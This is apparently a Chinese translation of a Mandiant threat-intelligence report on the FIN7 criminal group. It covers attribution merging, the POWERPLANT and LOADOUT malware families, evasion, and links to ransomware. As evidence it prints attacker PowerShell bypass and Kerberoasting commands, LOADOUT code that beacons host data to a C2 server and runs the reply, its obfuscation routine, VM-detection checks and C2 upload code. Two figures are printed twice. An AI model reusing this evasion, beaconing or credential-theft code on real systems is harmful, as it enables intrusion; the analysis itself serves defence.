目录导航
最近的公开研究表明,与 FIN7 有重叠的威胁团体已转变为涉及 REVIL、DARKSIDE、BLACKMATTER 和 ALPHV 勒索软件的有针对性的勒索软件操作。随着据称转向勒索软件操作,Mandiant 正在发布我们关于 FIN7 演变的研究,自2019 年发布的Mahalo FIN7以来,我们还没有公开发表过该研究。
这篇博文借鉴了 Mandiant 直接调查的历史和近期入侵的有机研究,并描述了将多个 UNC 组合并到 FIN7 的过程。这一过程使我们能够在 2022 年 1 月将 8 个先前被怀疑的 UNC 组合并到 FIN7。我们还强调了 FIN7 活动在这段时间内的显着变化,包括它们使用新型恶意软件、合并新的初始访问向量,以及可能发生的货币化策略转变。
- FIN7 在整个入侵过程中继续利用 PowerShell,包括在一个名为 POWERPLANT 的新后门中,FIN7 在过去两年中不断开发该后门。我们还确定了正在开发的 BIRDWATCH 下载器的新版本,它们被跟踪为 CROWVIEW 和 FOWLGAZE。
- FIN7 的初始访问技术已经多样化,除了传统的网络钓鱼技术外,还包括软件供应链入侵和使用被盗凭证。我们还观察到 FIN7 在较新的入侵中使用 POWERPLANT 作为他们的第一阶段恶意软件,而不是 LOADOUT 或 GRIFFON。
- 在多个组织的 FIN7 归因活动以及技术重叠之后的数据盗窃勒索或勒索软件部署表明,随着时间的推移,FIN7 参与者已与各种勒索软件操作相关联。
- Mandiant 还跟踪多个值得注意的活动,作为我们怀疑是 FIN7 的独立 UNC 组,包括导致 DICELOADER 的“BadUSB”活动,以及利用云营销平台导致 BIRDWATCH 的多个网络钓鱼活动。
我们在 2017 年首次披露了 FIN7 的威胁报告和公开研究。从那时起,我们发布了多篇关于 FIN7 操作的博客文章,在Mandiant Advantage上提供了更广泛的内容。在这篇博文中,我们将重点研究最新的 FIN7 入侵操作,以及我们使用的归因方法。
随时间推移的威胁归因
我们的归因方法需要在收集的威胁数据中进行多层重叠,以合并可疑的FIN7 UNC 分组到我们的核心 FIN7 集群中。合并证据来自对攻击者基础设施、入侵贸易技术、作案手法以及我们研究的小组如何使用特定代码的分析。考虑到网络犯罪活动的流动性和机会主义性质,以及个体运营商对犯罪组织的狭隘忠诚度,严格的技术证据记录对于现代网络犯罪归因至关重要。我们还经常观察到多个威胁组在很近的时间范围内进行入侵操作,有时甚至在几个小时或几分钟内使用相同的访问方法。这在勒索软件生态系统中尤其明显,Mandiant 观察到个人成员转移团队,
迄今为止,我们怀疑另外 17 个 UNC 与 FIN7 有不同程度的置信度;但是,这些组尚未正式合并到 FIN7。这些团体的活动可以追溯到 2015 年,最近到 2021 年末,涉及 36 次独立的入侵。自 2020 年以来活跃的 8 个先前被怀疑的 FIN7 UNC 组织最近已合并到 FIN7,这证实了与威胁组织相关的参与者的复原力。
2020 年活动简介:负荷重
FIN7 在 2020 年春季和夏季活跃,进行网络钓鱼活动并试图分发 LOADOUT 和 GRIFFON。在此期间,创建了五个 UNC 组来跟踪各种活动,最终在 2021 年晚些时候的合并分析之后合并到我们新的 FIN7 分裂组中,这扩大了我们对 FIN7 的理解。相关 UNC 合并对 2020 年活动的影响将代码系列 LOADOUT、TAKEOUT 和 BIRDWATCH 变体的使用添加到 FIN7中。

LOADOUT 是一个模糊的基于 VBScript 的下载器,它从受感染的系统中收集大量信息。然后将收集到的信息发送到命令和控制 (C2) 服务器。C2 服务器对 LOADOUT 感染的响应交付了 GRIFFON,这是一个基于 JavaScript 的下载器,它使用 HTTP 或 DNS 检索额外的 JavaScript 模块并在内存中执行它们。
2020 年夏末,FIN7 以首次观察到的 POWERPLANT 使用结束了忙碌的一年。POWERPLANT,也称为“ KillACK ”,是一个基于 PowerShell 的后门,具有广泛的功能,最初是在 2020 年 8 月成功感染 GRIFFON 后交付的。涉及使用 POWERPLANT 到 2021 年的合并使我们评估 FIN7 可能是唯一使用 POWERPLANT 的操作员。
2021 年活动简介:向 POWERPLANT 的转变
从 2021 年 4 月开始,我们发现 2021 年 FIN7 疑似 UNC 集团的活动在五次入侵中有所上升。这种上升促使我们开始对 FIN7 进行深入研究。我们还观察到 FIN7 将其初始访问技术从使用 LOADOUT、GRIFFON 或 CARBANAK 转向直接部署 POWERPLANT 和 BEACON。具体来说,FIN7 在 2021 年观察到的所有入侵中都使用了 POWERPLANT。FIN7 还依赖 BEACON 作为辅助访问模式以及一些 POWERPLANT 感染。
在整个 2021 年,我们仔细审查了众多与 FIN7 相关的 UNC 团体,以及我们过去广泛掌握的 FIN7 情报,并在此过程中合并了多个威胁集群。我们的研究揭示了旧的 FIN7 入侵技术和新的 FIN7 恶意软件的融合。
PowerShell 考古学:FIN7 习惯不改
毫无疑问,PowerShell 是 FIN7 的最爱语言。FIN7 已使用多种编程语言在其攻击性操作中实施恶意软件;然而,在系统交互期间,FIN7 对基于 PowerShell 的精品加载器和独特的 PowerShell 命令的偏好占主导地位。
我们深入研究了早在 2019 年的 FIN7 入侵,发现了几种长期存在的独特 PowerShell 调用模式,至今仍在使用。在第一个示例中,如图 2 和图 3 所示的命令行在 FIN7 和疑似 FIN7 UNC 之外的总体流行率较低。
图 2:2019 年的 FIN7 PowerShell 执行
cmd.exe /c start %SYSTEMROOT%\system32\WindowsPowerShell\v1.0\powershell.exe -noni -nop -exe bypass -f <REDACTED>/ADMIN$/temp/wO9EBGmDqwdc.ps1
图 3:从 2021 年开始执行 FIN7 PowerShell
cmd.exe /c start %SYSTEMROOT%\system32\WindowsPowerShell\v1.0\powershell.exe -noni -nop -exe bypass -f \\<REDACTED>\Admin$\c5k3fsys.3bp.ps1
图 2 和图 3 命令的独特之处在于不同的参数-noni -nop -exe bypass -f,用于启动位于 Admin 共享中的脚本并安装 Windows 服务。自 2019 年以来,我们观察到 FIN7 在通过 CARBANAK 等后门恶意软件与受害系统交互时使用此类命令行参数。从那以后,我们已经看到通过 POWERPLANT 感染启动了其中一些不同的 PowerShell 命令的转变。
从 2019 年及以后的 FIN7 入侵中更小的模式和一致性揭示了使用-ex bypass -f 或-ex bypass -file 作为传递参数的更多不同的 PowerShell 命令行。尽管这些模式似乎不太容易寻找,但这些组合在 FIN7 相关威胁活动之外的全球流行率极低。例如,第一个命令行模式已被看到超过 2800 次,所有这些都是归因于 FIN7 的事件。早在 2019 年,第二个命令行模式已经在 10 个不同的受害者身上出现了近 250 次,所有这些都是 FIN7 属性命令。
图 4:2019 年的 FIN7 PowerShell 执行
powershell.exe -ex bypass -file C:\windows\temp\fdddu32.ps1
图 5:2020 年的 FIN7 PowerShell 执行
powershell.exe -ex bypass -f c:\users\public\temp\AC-Win10w-x64.ps1
powershell.exe -ex bypass -f C:\Users\Public\Videos\AC-Bot-x64.ps1
图 6:2021 年 FIN7 PowerShell 执行情况
powershell.exe -ex bypass -f pkit.ps1
powershell.exe -ex bypass -f cube.ps1
除了 FIN7 在入侵操作期间的独特命令行外,我们还发现了其他 PowerShell 代码系列的长期使用,例如 POWERTRASH。POWERTRASH 是一个内存中的 dropper 或加载器,用 PowerShell 编写,用于执行嵌入式负载。FIN7 的 POWERTRASH 加载的观测有效载荷包括 CARBANAK、DICELOADER、SUPERSOFT、BEACON 和 PILLOWMINT。POWERTRASH 是GitHub 上提供的PowerSploit框架中包含的 shellcode 调用程序的独特混淆迭代。
随着对 FIN7 入侵操作的深入了解,我们整合了分析工作,开始将多个可疑的 UNC 合并到 FIN7 中。作为该计划的一部分,我们确定了针对我们客户的新 FIN7 任务,包括 2021 年的托管防御快速响应参与。
管理防御
FIN7 针对多个行业的广泛组织,包括软件、咨询、金融服务、医疗设备、云服务、媒体、食品和饮料、运输和公用事业。自 2020 年以来,我们在我们的客户群中发现了十多次归因于 FIN7 的入侵。以下用例介绍了 2021 年Mandiant 托管防御活动期间最近的 FIN7 贸易技术。
FIN7 来自战壕
为了在此次入侵期间获得初始访问权限,FIN7 使用受损的远程桌面协议 (RDP) 凭据在两天内登录到目标服务器,并启动了两个类似的 Windows 进程链(图 7)。
图 7:两条 FIN7 流程事件链
rdpinit.exe
↳ notepad++.exe
↳ cmd.exe
↳ powershell.exe
rdpinit.exe
↳ notepad++.exe
↳ cmd.exe
↳ rundll32.exe
FIN7 使用已建立的 RDP 访问最终安装其他模式的主机控制,首先通过执行 PowerShell 侦察脚本,然后通过执行 TERMITE 加载程序(图 8)。
图 8:用于加载 FIN7 TERMITE 的命令行
RunDll32 TstDll.dll,TstSec 11985756
TERMITE 是一个受密码保护的 shellcode 加载程序,我们观察到至少有七个不同的威胁组使用它来加载 BEACON、METASPLOIT 和 BUGHATCH shellcode。在这种情况下,FIN7 使用 TERMITE 为 Cobalt Strike BEACON 加载和执行 shellcode stager。
在对 BEACON 进行二次访问后,FIN7 开始使用内置 Windows 命令以及 POWERSPLOIT 和 Kerberoasting PowerShell 模块进行进一步枚举。
cmd.exe /C net group "Domain Admins" /domain
cmd.exe /C quser
powershell.exe -c import-module C:\Users\Public\kerberoast_hex.ps1; Invoke-Kerberoast -OutputFormat HashCat > hash.txt
powershell.exe -ex bypass -c import-module C:\Users\Public\kerberoast_hex.ps1; Invoke-Kerberoast -OutputFormat HashCat
powershell.exe -ex bypass -f pkit.ps1
在使用 RDP 和 BEACON 进行初步侦察后,FIN7 为基于 PowerShell 的后门 POWERPLANT 的受害者自定义变体执行了一个混淆加载程序,提供了第三次访问:
powershell.exe -ex bypass -f cube.ps1
FIN7 随后试图窃取凭据并进一步破坏受害者的环境,但成功有限,因为客户端能够利用托管防御响应者的优势做出响应并快速修复。
这种特定入侵的一个独特方面完美地突出了网络犯罪威胁的技术归因挑战:在 FIN7 对受害者系统的两天操作中,FIN12 也在同一个受害者上使用同一个 RDP 帐户活跃了多个小时,但有很大不同基础设施和技术,试图在入侵被修复之前使用 WEIRDLOOP 内存中的 dropper 安装 BEACON。
FIN7的规避技术
FIN7 的历史商标包括创造性的混淆和快速发展的规避技术。情况仍然如此,FIN7 第一阶段的下载器和下载器被严重混淆。特别是 LOADOUT,由于其在机会主义活动中的广泛分布,已经经历了几次旨在改善规避的迭代。
最初的混淆机制是基本的,但在规避静态检测方面很有效:恶意代码中散布着随机垃圾代码(图 9)。经过几个月的成功宣传后,反病毒检测引擎提高了对下载器的覆盖范围。为了解决这个问题并发送消息,LOADOUT 开发人员只需在字符串中插入“FUCKAV”即可分解疑似用于检测签名的信标(图 8)。
图 8:LOADOUT 作为信标发送的系统调查信息
data = "id=" & get_id() & "&FUCKAVtype=put" & get_computer_info("") & "&DomainHosts=" & count_domain_hosts() & "&UserName=" & usFUCKAVername & "&LogicalDrives=" & get_grivers() & "&SystemInfo=nothing&SoftwareInfo=nothing&NetworkInfo=nothingFUCKAV&ProcessList=" & get_processlist() & "&DesktopFileList=" & get_desktopfiles() & "&DesktopScreenshFUCKAVot=nothing&WebHistory=nothing&stype=vbs"
response = send(panel_url, data)
if response = "okFUCKAV" then
js = send(panel_url, "")
run_js(js)
end ifFUCKAV
图 9:LOADOUT 混淆
kiki=ado.ReadText
' OE5QAJ2VaFCK F5
Dim yiups
yiups = "UTo"
WScript.Echo(" error ")
kok = replace(kiki, "FUCKAV", "")
ulpo = "12"
aoso = year("01/07/12")
if right(aoso, 2) = ulpo then
execute("WScript.Echo("" file is corrupted ""):" & kok)
end if
'hello bitchw
事实上,开发人员怀疑这些字符串被用于检测是正确的。通过转动信标,我们发现了一个新的、正在工作的 LOADOUT 变体提交给 VirusTotal(MD5:485b2a920f3b5ae7cfad93a4120ec20d),仅由一个引擎检测到(图 10)。两个小时后,提交了一个新版本 (MD5: 012e7b4d6b5cb8d46771852c66c71d6d),这次是通过他们的自定义混淆机制隐藏了有问题的 PowerShell 命令(图 11)。
图 10:混淆前的 PowerShell 命令
objTS.WriteLine(TextCrypt)
objTS.Close
pwsh_command = "powershell.exe -executionpolicy bypass -file " & FileName & ".ps1"
objWSH.Run pwsh_command, 0, True
FSO.DeleteFile FileName & ".ps1"
图 11:PowerShell 命令混淆
Text1 = "/3/3.1/2.1,7/2/2.0/3+4+5/4/2*3,7.0,7/2/2.1/4.0,6/3/3.0/3.0+5/4+5-9/4.1+5/4/3*3,7.0,6/3/2*3272327272412292326241618252310112117262125222518252429242516
261416272214202710112212232310"
TextCrypt = Encryption(MakeCryptoText(TextUnShifter(Text1)), False)
pwsh_command = TextCrypt & FileName & ".ps1"
objWSH.Run pwsh_command, 0, True
FSO.DeleteFile FileName & ".ps1"
FIN7 参与者历来针对公共存储库测试他们的工具,以检查静态检测引擎的覆盖率。在这种情况下,他们很可能正在测试自定义混淆的强度。
五个月后,这个新的改进版本的 LOADOUT 出现了。它被重构以添加多层混淆,包括穿插的圣经经文作为填充文本,以及通过自定义机制对字符串进行混淆(图 12)。
图 12:LOADOUT 自定义字符串混淆
Private Function GetShiftKey()
On Error Resume Next
Set Key = CreateObject("Scripting.Dictionary")
l = Len(CryptoKey)
i1 = 0
With Key
For i = 1 To l
s = Mid(CryptoKey, i, 1)
n = (Asc(s) Mod 8) + 1
If Not .Exists(n) Then
.Add n, n
i1 = i1 + 1
End If
If i1 = 9 Then Exit For
Next
If i >= l And i1 < 9 Then
For i = 1 + 1 To 8
If Not .Exists(i) Then
.Add i, i
End If
Next
End If
For i = 1 To 8
GetShiftKey = GetShiftKey + .Items()(i)
Next
End With
End Function
Private Function TextShifter(txt)
Dim nKeys(), out()
Key = GetShiftKey
n = Len(Key)
If n = 0 Then Exit Function
l = Len(txt)
m = -Int(-l / n)
ReDim nKeys(n)
For i = 1 To n
s1 = Mid(Key, i, 1)
For j = 1 To n
s2 = Mid(Key, j, 1)
If s1 > s2 Or (s1 = s2 And j <= i) Then
nKeys(i) = nKeys(i) + 1
End If
Next
Next
ReDim out(n * m)
For i = 1 To Len(txt)
out(nKeys((i - 1) Mod n + 1) * m + (i - 1) \ n - m + 1) = Mid(txt, i, 1)
Next
TextShifter = Join(out, "")
End Function
POWERPLANT:FIN7 的 PowerShell 主力
FIN7 利用多种方法对受害者网络进行初始和二次访问,包括网络钓鱼、入侵第三方系统、Atera代理安装程序、GoToAssist和 RDP。在最近的一个案例中,FIN7 攻击者入侵了一个销售数字产品的网站,并修改了多个下载链接以指向一个托管木马版本的 Amazon S3 存储桶,其中包含一个 Atera 代理安装程序。这个远程管理工具后来被用来将 POWERPLANT 部署到受害系统。这是 Mandiant 第一次观察到 FIN7 杠杆供应链妥协。FIN7 久经考验的 CARBANAK 和 DICELOADER(也称为Lizar)恶意软件继续使用;然而,我们注意到 FIN7 在最近的入侵中更多地依赖于 POWERPLANT 后门。
我们对 POWERPLANT 的研究表明,它是一个庞大的后门框架,具有广泛的功能,具体取决于从 C2 服务器交付的模块。POWERPLANT 后门在代码中包含内部版本标识符。我们已经确定了从“ 0.012 ”到“ 0.028 ”版本的样本,示例如表1所示。
POWERPLANT 样本 MD5 | 版本 |
5a6bbcc1e44d3a612222df5238f5e7a8 | 0.012 |
0291df4f7303775225c4044c8f054360 | 0.016 |
3803c82c1b2e28e3e6cca3ca73e6cce7 | 0.019 |
d1d8902b499b5938404f8cece2918d3d | 0.021(TLS1) |
833ae560a2347d5daf05d1f670a40c54 | 0.021b(SVC) |
edb1f62230123abf88231fc1a7190b60 | 0.021c(SVC) |
bce9b919fa97e2429d14f255acfb18b4 | 0.022 |
b637d33dbb951e7ad7fa198cbc9f78bc | 0.025 |
2cbb015d4c579e464d157faa16994f86 | 0.028 |
这些内部版本号随时间的增长速度表明 FIN7 正在积极开发 POWERPLANT(图 13)。在一次参与中,我们观察到 FIN7 将具有调整功能的 POWERPLANT 增量版本部署到入侵操作中的目标。在那次参与期间,版本“ 0.023 ”和“ 0.025 ”都在 10 分钟的时间内使用。我们确定的每个版本都实现了总体相似的功能,并随着时间的推移添加了一些程序改进和功能。

Mandiant 还从 POWERPLANT 控制器中恢复了部分服务器端代码组件。其中一些组件包含暗示恶意软件开发人员的操作安全意识的线索。两个这样的例子是 FIN7 意识到研究人员正在调查他们的基础设施,并利用功能来禁止目标主机方面,例如面板中的用户名。
图 14:POWERPLANT 服务器设置中的功能片段
check_username
check_hostdomain
check_hostname
check_hosts
check_researcher
check_desktop
图 15:POWERPLANT 服务器设置中的功能片段
if (res) {
localStorage.setItem('success-add-username', 'success-add-username-to-blacklist');
location.reload();
}
},
图 16:POWERPLANT 服务器配置中的功能片段
/**
* Инициализация
*/
init() {
this.config();
this.events();
},
/**
* Конфиги
*/
config() {
this.config = {
window: $(window),
document: $(document),
content: $('#content'),
lastUrl: null,
isPage: true,
isModal: false,
intervalId: null,
timer: null,
selectedBots: []
};
}
在活动的 C2 会话期间,POWERPLANT 服务器将发送多个附加模块类型作为“任务”供目标系统执行。其中两个模块是 EASYLOOK 和 BOATLAUNCH。
EASYLOOK 模块
EASYLOOK 是 FIN7 至少从 2019 年开始使用的侦察实用程序。EASYLOOK 从受感染的系统中捕获广泛的数据,包括操作系统版本、注册密钥、系统名称、用户名、域信息和硬件规格。
EASYLOOK 的初始版本由 GRIFFON C2 服务器交付并用 JScript 编写(图 18)。FIN7 的 EASYLOOK 更新变体由 POWERPLANT 变体 C2 服务器交付并用 PowerShell 编写(图 17)。两个版本在两种代码语言中实现了完全相同的功能,包括拼写错误“ bios_versoin ”。
图 17: 使用 PowerShell 编码的 FIN7 EASYLOOK 新变体的 VM 检查
function is_wm {
$bios = Get-WMIObject Win32_Bios
$SerialNumber = $bios.SerialNumber
$bios_versoin = $bios.SMBIOSBIOSVersion
If ($SerialNumber.Contains("parallels") -or $SerialNumber.Contains("vmware")) {
return $true
}
If ($bios_versoin.Contains("vmware") -or $bios_versoin.Contains("virtualbox")) {
return $true
}
return $false
}
图 18: 用 JavaScript 编码的 FIN7 EASYLOOK 第一个变体的 VM 检查
function is_vm () {
var biosRequest = wmi.ExecQuery('SELECT * FROM Win32_BIOS');
var biosItems = new Enumerator(biosRequest);
for (; !biosItems.atEnd(); biosItems.moveNext()) {
var bios_versoin = biosItems.item().SMBIOSBIOSVersion.toLowerCase();
var serial_number = biosItems.item().SerialNumber.toLowerCase();
if(serial_number.indexOf('parallels') >= 0 || serial_number.indexOf('vmware') >= 0) {
return true;
}
if(bios_versoin.indexOf('vmware') >= 0 || bios_versoin.indexOf('virtualbox') >= 0) {
return true;
}
}
return false;
}
BOATLAUNCH 模块
BOATLAUNCH 是从 FIN7 POWERPLANT 控制器发送的实用程序,在入侵操作期间用作辅助模块。BOATLAUNCH 用于修补受感染系统上的 PowerShell 进程以绕过 Windows 反恶意软件扫描接口 (AMSI)。恶意软件循环,寻找未修补的 PowerShell 进程,并且对于每个未修补的进程,恶意软件定位并使用 5 字节指令序列修补amsi.dll!AmsiScanBuffer以始终返回S_OK。
用于修补 AMSI 的技术是公开描述的常见 AMSI 绕过技术的一种变体。使用以下导出目录 DLL 名称(表 2)观察到 BOATLAUNCH 的 32 位和 64 位变体。
BOATLAUNCH Bitness | 导出目录名称 |
32 位 | amsi32_kill.dll |
64 位 | amsi64_kill.dll |
BIRDWATCH的奇事
我们的深入研究还揭示了 BIRDWATCH 及其类似变体被 FIN7 和可疑 FIN7 组(如 UNC3381)使用。BIRDWATCH 是一个基于 .NET 的下载器,它通过 HTTP 检索有效负载,将它们写入磁盘,然后执行它们。BIRDWATCH 也从目标系统上传侦察信息,其中包括运行进程、安装的软件、网络配置、Web 浏览器信息和活动目录数据。
BIRDWATCH 通常被统称为“ JssLoader ”;但是,存在 BIRDWATCH 的多种变体,我们将它们作为单独的代码系列进行跟踪。BIRDWATCH 的一种变体是 CROWVIEW,它也是基于 .NET 的,但与原型 BIRDWATCH 有足够的代码差异,因此我们将其单独聚类。与 BIRDWATCH 不同,CROWVIEW 可以容纳嵌入式有效负载,可以自我删除,支持附加参数并存储稍微不同的配置。
FIN7 在不同的编程语言中实现了相似或精确的功能,在过去几年中多次在各种代码系列中观察到。与同时具有 JScript 和 PowerShell 变体的 EASYLOOK 类似,BIRDWATCH 和 CROWVIEW 具有用 C++ 实现的不同版本。当与额外的基础设施和贸易技术分析相结合时,代码重用和重叠的数据点有助于我们在多个 UNC 合并中进行技术归因。
在第一个示例中,BIOS(基本输入输出系统)序列号的编程集合显示在 POWERPLANT 和 CROWVIEW 代码系列中。
图 19:来自 FIN7 属性的 CROWVIEW(BIRDWATCH 的变体)的 C# 代码片段
private static string GetBiosSerial()
{
string result = "BIOS UNKNOWN";
try
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT SerialNumber FROM Win32_BIOS");
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
result = (string)managementObject["SerialNumber"];
}
}
catch
{
}
return result;
}
图 20:来自 FIN7 的 POWERPLANT 的 PowerShell 代码片段
function Get-BiosSerial() {
$sn = "BIOS UNKNOWN"
$_sn = ""
try {
$mSearcher = Get-WmiObject -Query "SELECT SerialNumber FROM Win32_BIOS"
foreach ($o in $mSearcher) {
if ($o.Properties.Name -eq "SerialNumber") {
$_sn = $o.Properties.Value
}
}
}
catch {}
if ([String]::IsNullOrEmpty($_sn) -eq $false) { $sn = $_sn }
return "$sn";
}
图 21:FOWLGAZE(“JssLoader”) 的数据收集 JSON 格式片段
{"host":"<HOSTNAME>", "domain": "<DOMAIN>", "user":"<USERNAME>", "processes": [<PROCESS_LIST>] ,"desktop_file_list": [<FILE_LIST>] ,"adinfo": {"adinformation":"no_ad", "part_of_domain":"no", "pc_domain":"", "pc_dns_host_name":"", "pc_model":""}}
图 22:EASYLOOK(侦察模块)的数据采集代码片段
$result += ('username***' + $env:USERNAME)
$result += ('hostname***' + $env:COMPUTERNAME)
$elevated = $(whoami /groups).Contains("12288")
If ($elevated) {
$result += 'yes'
}
Else {
$result += 'elevated***' + 'no'
}
$ad = get_active_directory_information
if ($ad) {
$result += ('adinformation***' + $ad)
} else {
$result += ('adinformation***no_ad')
}
$csRequest = Get-WmiObject Win32_ComputerSystem
$csRequest.PartOfDomain
If ($csRequest.PartOfDomain) {
$result += ('part_of_domain***yes')
}
else {
$result += ('part_of_domain***no')
}
$result += 'pc_domain***' + $csRequest.Domain
$result += 'pc_dns_host_name***' + $csRequest.DNSHostName
$result += 'pc_model***' + $csRequest.Model
FOWLGAZE 和 EASYLOOK 之间也存在系统枚举数据格式的重叠。两个代码系列实现了几乎相同的系统调查,共享使用“pc_domain”、“pc_dns_host_name”、“pc_model”和“no_ad”等键。
图 21:FOWLGAZE(“JssLoader”) 的数据收集 JSON 格式片段
{"host":"<HOSTNAME>", "domain": "<DOMAIN>", "user":"<USERNAME>", "processes": [<PROCESS_LIST>] ,"desktop_file_list": [<FILE_LIST>] ,"adinfo": {"adinformation":"no_ad", "part_of_domain":"no", "pc_domain":"", "pc_dns_host_name":"", "pc_model":""}}
图 22:EASYLOOK(侦察模块)的数据采集代码片段
$result += ('username***' + $env:USERNAME)
$result += ('hostname***' + $env:COMPUTERNAME)
$elevated = $(whoami /groups).Contains("12288")
If ($elevated) {
$result += 'yes'
}
Else {
$result += 'elevated***' + 'no'
}
$ad = get_active_directory_information
if ($ad) {
$result += ('adinformation***' + $ad)
} else {
$result += ('adinformation***no_ad')
}
$csRequest = Get-WmiObject Win32_ComputerSystem
$csRequest.PartOfDomain
If ($csRequest.PartOfDomain) {
$result += ('part_of_domain***yes')
}
else {
$result += ('part_of_domain***no')
}
$result += 'pc_domain***' + $csRequest.Domain
$result += 'pc_dns_host_name***' + $csRequest.DNSHostName
$result += 'pc_model***' + $csRequest.Model
最后一个代码重用示例是“ theAnswer ”的使用,它被定义为 CROWVIEW 和 POWERPLANT 对 C2 控制器的 POST 请求的程序功能中的变量,如图 23 和图 24 所示。
图 23:来自 FIN7 属性的 CROWVIEW 和 BIRDWATCH (JssLoader) 的 C# 代码片段
public void Put(string theAnswer)
{
AppHttp.wCli.QueryString.Clear();
AppHttp.wCli.QueryString.Add("type", "put");
string text = Convert.ToBase64String(Encoding.ASCII.GetBytes(AppParams.ProgID)).Replace("+", "***");
string text2 = Convert.ToBase64String(Encoding.ASCII.GetBytes("put")).Replace("+", "***");
string body = string.Concat(new string[]
{
"id^^^",
text,
"&type^^^",
text2,
"&",
theAnswer
});
string text3 = this.HttpUpload(AppParams.URL_PutAnswer, body);
}
图 24:来自 FIN7 的 POWERPLANT 的 PowerShell 代码片段
Function Send-ToConsole([String] $theAnswer) {
if ([String]::IsNullOrEmpty($theAnswer)) { return }
$_rc = ""
try {
$_wc = New-Object System.Net.WebClient
$_wc.QueryString.Add("id", $script:myID)
$_wc.Headers.Add("Content-type", "text/html")
$_wc.Headers.Add("Accept", "text/html")
$_rc = $_wc.UploadString($urlConsole, $theAnswer)
恶意软件代码使用有时被视为某些公共威胁归因的主要数据点。代码重叠本身,没有足够的额外数据点,如入侵数据和基础设施,不足以让我们充分评估应该合并一个 UNC 组。在整个 2021 年和到 2022 年,我们已经确定并将继续跟踪多个新怀疑的 FIN7 UNC 及其未来的活动。
疑似 FIN7 UNC 的其他近期活动
2021 年 10 月,Mandiant观察到一个活动,参与者向受害者组织邮寄“BadUSB”恶意 USB 设备,主要针对美国组织。我们将此活动归因于 UNC3319,我们怀疑该组织与 FIN7 相关,但信心不足。
USB 硬件被编程为下载 STONEBOAT,最终在受害者系统上安装了 DICELOADER 框架。STONEBOAT 是一个前所未见的基于 .NET 的内存中释放器,它可以解密嵌入其中的 shellcode 有效负载。然后将有效负载映射到内存并执行。观察到 STONEBOAT 首先加载了一个名为 DAVESHELL 的中间加载程序,然后执行最终的 DICELOADER 有效负载。DAVESHELL 是用于嵌入式有效负载启动器的公开可用的开源代码。DAVESHELL 被包括 FIN12 在内的近 30 个威胁组织使用;但是,加载 DICELOADER 的 DAVESHELL shellcode 的实现对于一小群威胁活动来说是独一无二的。
此外,我们还发现了多个分发 BIRDWATCH 的网络钓鱼活动,这些活动利用了各种电子邮件传递和营销平台上的受损帐户,包括 Maropost、ActiveCampaign 和 Mailjet。我们将此活动归因于 UNC3381,怀疑为 FIN7,置信度较低。UNC3381 于 2021 年 9 月首次观察到,但我们发现可追溯到 2019 年末利用 Mailjet 进行的类似活动,高度可信地怀疑是 UNC3381。
在他们的整个活动中,UNC3381 使用了几乎相同的以 Quickbooks 为主题的发票诱饵,并利用了发送它们的受感染帐户的品牌,为他们的网络钓鱼提供了额外的合法性。这些电子邮件包含一个恶意链接,该链接通过与发送它们的平台相关联的分析域,然后重定向到通常托管在受感染域上的页面。

UNC3381 在这些活动中使用了多个恶意软件系列,包括 WINGNIGHT 和 FLYHIGH,这是我们仅观察到 UNC3381 使用的两个不同的下载器系列。WINGNIGHT 是一个使用 VBScript 的基于 WSF 的下载器,而 FLYHIGH 是一个使用 Excel XLL SDK 用 C 语言编写的下载器,但伪装成使用Excel-DNA框架。在这些活动中,我们观察到 WINGNIGHT 和 FLYHIGH 都导致了 BIRDWATCH,通常为下载服务器和 BIRDWATCH C2 控制器利用额外的受感染域。我们还观察到 UNC3381 和 FIN7 基础架构之间的重叠有限,包括使用相同的 DNS 提供商和 AS。
FIN7 和勒索软件
Mandiant在 2020 年发布了完整的情报,其中概述了 FIN7 可能将入侵货币化从支付卡数据转向勒索操作的证据。尽管 FIN7 的运营与其较早的活动相比发生了重大变化,但截至发布本报告时,Mandiant 并未将任何勒索软件的直接部署归因于 FIN7。但是,FIN7 参与者参与勒索软件操作的可能性也得到了我们入侵数据持有之外的证据的证实,包括代码使用、参与者基础设施和受信任的第三方来源。
在 2020 年的至少两次事件响应活动中,在勒索软件加密之前发现了 FIN7 入侵操作,包括使用 MAZE 和 RYUK。同样,在 2021 年,Mandiant 将活跃的 FIN7 入侵活动归因于涉及 ALPHV 勒索软件的事件响应活动。在所有这些情况下,由于调查和我们的可见性因素,勒索软件部署目前归因于单独跟踪的威胁组。
除了从入侵数据中产生的证据外,次要文物表明 FIN7 至少在某些 DARKSIDE 操作中发挥了作用。FIN7 在 2021 年用于签署 BEACON 和 BEAKDROP 样本的全球低流行代码签名证书也用于签署在野外回收的多个未归属的 DARKSIDE 样本(表 3)。FIN7 使用的具体提到的代码签名证书包含“ OASIS COURT LIMITED ”的 SSL 主题通用名称(图 26)。
图 26:FIN7 使用的代码签名证书,也用于签署多个 DARKSIDE 勒索软件样本
Serial Number:
e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = GB, ST = Greater Manchester, L = Salford, O = Sectigo Limited, CN = Sectigo RSA Code Signing CA
Validity
Not Before: Dec 21 00:00:00 2020 GMT
Not After : Dec 21 23:59:59 2021 GMT
Subject: C = GB, postalCode = CO3 9FA, ST = Essex, L = Colchester, street = 10 Stoneleigh Park, O = OASIS COURT LIMITED, CN = OASIS COURT LIMITED
表 3:使用代码证书签名的文件
文件 MD5 | 笔记 |
ab29b9e225a05bd17e919e1d0587289e | DNS信标 |
1c3b19163a3b15b39ae00bbe131b499a | DARKSIDE |
230a681ebbcdba7ae2175f159394d044 | DARKSIDE |
bf41fc54f96d0106d34f1c48827006e4 | DARKSIDE |
c4da0137cbb99626fd44da707ae1bca8 | DARKSIDE |
28e9581ab34297b6e5f817f93281ffac | FIN7 信标 |
38786bc9de1f447d0187607eaae63f11 | FIN7 信标 |
6fba605c2a02fc62e6ff1fb8e932a935 | FIN7 BEAKDROP |
结论
尽管美国司法部在2018 年对 FIN7 成员提出起诉并在2021年作出相关判决,但至少 FIN7 的一些成员仍然活跃,并随着时间的推移继续发展其犯罪活动。在整个发展过程中,FIN7 提高了他们的行动速度、目标范围,甚至可能与地下网络犯罪分子的其他勒索软件行动的关系。
致谢
